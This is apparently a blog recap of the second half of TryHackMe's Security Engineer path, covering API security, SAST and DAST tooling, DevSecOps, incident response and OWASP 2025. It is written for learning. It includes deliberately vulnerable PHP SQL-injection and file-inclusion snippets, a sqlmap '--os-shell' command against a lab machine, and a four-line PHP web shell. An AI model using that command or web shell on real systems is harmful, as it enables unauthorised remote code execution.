Introduction
Part 1 covered the foundations, the risk math, and the hardening module of TryHackMe’s Security Engineer path. This half covers the three modules I enjoyed most: software security, incident management, and the OWASP wrap-up. It is also the half with the most terminal output, which is not a coincidence.
Where security meets shipping
Let’s get going.
API security top 10
The two OWASP API Security Top 10 rooms open with breach numbers that explain why APIs get their own list:
- LinkedIn, 2021: 700 million user records scraped through the API
- Twitter, 2022: 5.4 million accounts via a zero-day linking handles to phone numbers and emails
- PIXLR, 2021: 1.9 million accounts including hashed passwords
The entries that stuck with me:
- BOLA is IDOR grown up: a valid request for an object the user is not authorized to see, fixed by authorization checks in the model layer rather than the controller
- BFLA trusts the client about roles: the vulnerable endpoint read an isAdmin: 1 header, the fixed one looks the role up in the database; if the client can claim it, assume the client will
- Mass assignment lets client data bind straight onto server objects: the demo signup POSTed a hidden credit field that the framework persisted without complaint, and Laravel’s fillable and guarded arrays exist to stop that
- Rate limits, response filtering, and role checks belong server-side, all ten entries long; nothing in this list gets fixed in the browser
SSDLC economics
The SSDLC room sells the economics before the tooling, quoting IBM numbers on what a flaw costs to fix depending on where you catch it:
| Caught in | Relative cost |
|---|---|
| Design | 1x |
| Implementation | 6x |
| Testing | 15x |
| Maintenance | 100x |
The tool ladder then maps onto the lifecycle:
| Tool | What it does | When it runs |
|---|---|---|
| SAST | Scans source, white box | Coding, per pull request |
| SCA | Scans dependencies and licenses | Coding |
| DAST | Attacks the running app, black box | Staging, pre-production |
| IAST | Instruments the app from inside | QA |
| RASP | Blocks attacks at runtime | Production |
A vulnerability assessment finds issues for little money; a pentest proves them at real cost. OWASP SAMM is the maturity model to aim at if you want to know where your organization stands.

SAST with Psalm
The SAST room walks the whole arc from manual review to Psalm, and the manual part is a grep story. Find the dangerous functions, then trace who calls them:
grep -r -n 'mysqli_query('
db.php:18: $result = mysqli_query($conn, $query);
grep -rn 'db_query('
hidden-panel.php:7:$result = db_query($conn, $sql);
hidden-panel.php:20:$result2 = db_query($conn, $sql2);
hidden-panel.php:23:$result3 = db_query($conn, $sql3);
Line 7 is a textbook SQL injection, GET input concatenated into raw SQL:
$sql = "SELECT id, firstname, lastname FROM MyGuests WHERE id=".$_GET['guest_id'];
$result = db_query($conn, $sql);
The other two calls run the same pattern through preg_replace filters, and this is where the room gets sneaky:
$sql2 = "SELECT id, logtext FROM logs WHERE id='".preg_replace('/[^a-z0-9A-Z"]/', "", $_GET['log_id']). "'";
$sql3 = "SELECT id, name FROM asciiart WHERE id=".preg_replace("/[^0-9]/", "", $_GET['art_id'], 1);
The first filter is sound: only alphanumeric and double quotes survive, and the single-quoted SQL string cannot be escaped. The second looks stricter but passes a third argument of 1, the maximum replacement count, so one non-numeric character gets stripped and everything after it sails through. Vulnerable.
Psalm then automates the same hunt. Structural mode catches the = written where == belongs, always falsy:
./vendor/bin/psalm --no-cache
ERROR: TypeDoesNotContainType - html/hidden-panel.php:10:5 - Operand of type 0 is always falsy
if ($result->num_rows = 0) {
Taint mode traces user input from source to sink and finds the local file inclusion:
./vendor/bin/psalm --no-cache --taint-analysis
ERROR: TaintedInclude - html/view.php:22:9 - Detected tainted code passed to include or similar
$_GET['img'] - html/view.php:22:28
include('./gallery-files/'.$_GET['img']);
Psalm misses something here, and to be honest, I’m not a big fan of this tool. All database calls collapse into one mysqli_query() wrapper in db.php, so two distinct injections look like one error at one location. The fix is an annotation that teaches Psalm where the sink is:
/**
* @psalm-taint-sink sql $query
* @psalm-taint-specialize
*/
function db_query($conn, $query){
$result = mysqli_query($conn, $query);
return $result;
}
The final scoreboard against the manual review says everything about trusting tools:
| Query | Manual review | Psalm | Verdict |
|---|---|---|---|
| $sql | Vulnerable | Vulnerable | OK |
| $sql2 | Not vulnerable | Vulnerable | False positive |
| $sql3 | Vulnerable | Not vulnerable | False negative |
DAST with ZAP
The DAST room is a tour of OWASP ZAP that ends in a pipeline:
- The plain spider misses links generated by JavaScript, so the AJAX spider drives a real browser instead
- Authenticated scanning records a ZEST script, attaches it to a context with a user, flags logged-in and logged-out indicators, and excludes logout.php so the scanner keeps its session
- APIs skip spidering: import an OpenAPI spec and the endpoints appear ready to scan
- The lab wires a Gitea repo to Jenkins, and a scan stage in the Jenkinsfile fails the build on findings
The zap2docker profiles make the pipeline split concrete:
docker pull owasp/zap2docker-stable
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://www.example.com
docker run -t owasp/zap2docker-stable zap-full-scan.py -t https://www.example.com
docker run -t owasp/zap2docker-stable zap-api-scan.py -t https://www.example.com/swagger.json -f openapi
Baseline runs one minute of spidering with no active scan, which is why it goes on every commit; full scans stay scheduled. Cheap on every push, thorough on a timer: that is how I want scanners wired into a pipeline.
ZAP has a lot of features, but I felt it to be a bit clunky.
Weaponizing vulnerabilities
The room between this path and everything offensive I have done:
- A 0-day is discovered but undisclosed; an n-day has a patch, with n counting the days since that patch shipped
- Adversaries reverse-engineer patches, and most public exploits land on Exploit Database within a week of disclosure, so patch latency is exposure; the NVD feed keeps score
- Low-impact flaws chain: the lab chains a medium SQL injection into arbitrary file upload into full remote code execution, with nothing impressive along the way
The lab’s login parameter goes in with sqlmap asking for an OS shell:
sqlmap -u "http://MACHINE_IP/ai/includes/user_login.php?email=test%40chatai.com&password=123" -p email --os-shell
sqlmap confirms time-based blind SQL injection, uploads a stager to the web root, and drops to a shell. The uploaded web shell is four lines:
<?php
if (isset($_REQUEST['cmd'])) {
echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; die;
}
?>
The defensive lesson: you may never get to block the clever exploit itself, but the chain has boring links you control, in patching, segmentation, and upload validation.
DevSecOps
The module closes with the culture argument, and as someone who lived the waterfall-to-DevOps arc it sounds about right:
- Shift left: security in every phase instead of a pass/fail gate at the end, because post-development review cannot keep up with release pace
- Autonomy: security tests become another unit test; playbooks and runbooks let teams make secure decisions without a gatekeeper
- Transparency: developers see scanner output, a privilege that used to be security-only
- Empathy: risk is team-relative; an availability bug in an internal service can outrank an injection behind a proxy, and scanners tuned without that context cry wolf until nobody listens
The DevSecOps path is the next path I want to tick off.

Blue hours
Module five is the one I hope I never need and the one I am glad to have.
From event to incident
Thousands of events, some flagged as alerts, triage assigning severity, and only the ones with real suspected impact becoming incidents. Escalation runs through four levels, each invoking more people with more disruptive authority:
| Level | Team | Looks like |
|---|---|---|
| 1 | SOC | One analyst, several per day |
| 2 | CERT | Several analysts scoping, e.g. who interacted with the phishing mail |
| 3 | CSIRT | Full SOC plus forensics, containment, eradication |
| 4 | CMT | Executives, legal, regulators, “nuclear” options like going offline |
The process follows NIST SP 800-61r2: preparation, detection and analysis, containment then eradication then recovery, post-incident activity. The middle phases cycle until business as usual. The ordering carries its own warning label: eradicating before containing wastes the work, and the room’s example is resetting AD passwords while the attacker still holds access, which hands them the new credentials.
Around 60% of small companies close within six months of a cyber attack per the National Cybersecurity Alliance, and most listed pitfalls (weak hardening, missing logs, untuned alerts, no isolated backups) exist long before the incident does.
Logs and SIEM
The logging room covers the machinery accountability depends on:
- SIEM anatomy: forwarders ship data to indexers, search heads query it
- Storage tiers balance cost against access: hot on SSD, warm in between, cold on cheap disk or tape
- PCI DSS wants audit logs kept a year, with 90 days immediately available
- One quality log source can need several log types: a firewall log and a system log validate each other
- Correlation turns logs into a story: a suspicious DLL creation, checked against browser history (did the user just download something?) and mail logs (did phishing land minutes before?)
- Over-collection is its own failure mode: duplicate logs, duplicate alerts, noise
First responder
The single most counterintuitive lesson of the path was this one: do not power off the compromised host. “Have you tried turning it off and on again” is the platform engineer’s reflex and the wrong one here; volatile evidence is lost with the power and the threat actor learns they are noticed. Collection follows the RFC 3227 order of volatility:
- Registers and cache
- Routing table, ARP cache, process table, kernel statistics, memory
- Temporary file systems
- Disk
- Remote logging and monitoring data
- Physical configuration and network topology
- Archival media
Never trust on-system tools, because the attacker may have replaced them, and analyze verified copies under chain of custody. Containment comes before eradication, with four flavors:
- Network segmentation: move the host where it cannot reach anything
- Physical isolation: confiscate the machine
- Virtual isolation: an EDR jails the host into specific communication only
- Covert rate limiting: everything gets slow, command and control cannot tell why, and you buy time to scope
The business continuity material closes it out: the BCP is invoked by senior management only, after containment, and is quantified by RPO (acceptable data loss), RTO (hardware recovery), WRT (software and data recovery), and MTD as the cap on the two combined.
Crisis management
Level 4 gets its own room:
- The CMT runs as an autocracy under a chair, because committees are slow and GPO-deployed ransomware can encrypt a Windows environment inside 120 minutes
- The golden hour goes to assembling via call tree, taking the CSIRT briefing, triaging actions, and sending holding statements that reassure without divulging
- A scribe keeps the timeline that becomes the crisis document
- Most CMT actions are non-technical: narrative control, regulators, law enforcement
- The security engineer joins as the SME and explains what taking a system offline costs, which is a different skill from knowing it should come offline
OWASP 2025 through an IAAA lens
The final module rereads the OWASP Top 10 with module one’s vocabulary, and the mapping holds:
- Broken access control is an authorization failure
- Authentication failures are what they say
- Logging and alerting failures are accountability failures
- Design flaws (misconfiguration, supply chain, cryptographic failures, insecure design) sit outside IAAA
The 2025 flavor of the design flaws is AI:
- Prompt injection as injection’s younger sibling
- Model outputs taken on faith
- Poisoned models from unverified sources
The recommended posture treats a model like any other untrusted input source, validates what comes out of it, and keeps system prompts away from user content. I write about security and AI here in turns, and this is the first official standard where I recognize both halves of the blog in the same list.
Next
The second half of the path is where security meets the shipping process I already run, and it held up a mirror: SAST and DAST belong in the pipeline I build, incident response belongs in the on-call rotation I sit in. No certificate at the end, and it does not need one; the rooms change how you look at systems, which is the part that is really important.
Next week… I’m not sure yet. Stay tuned.
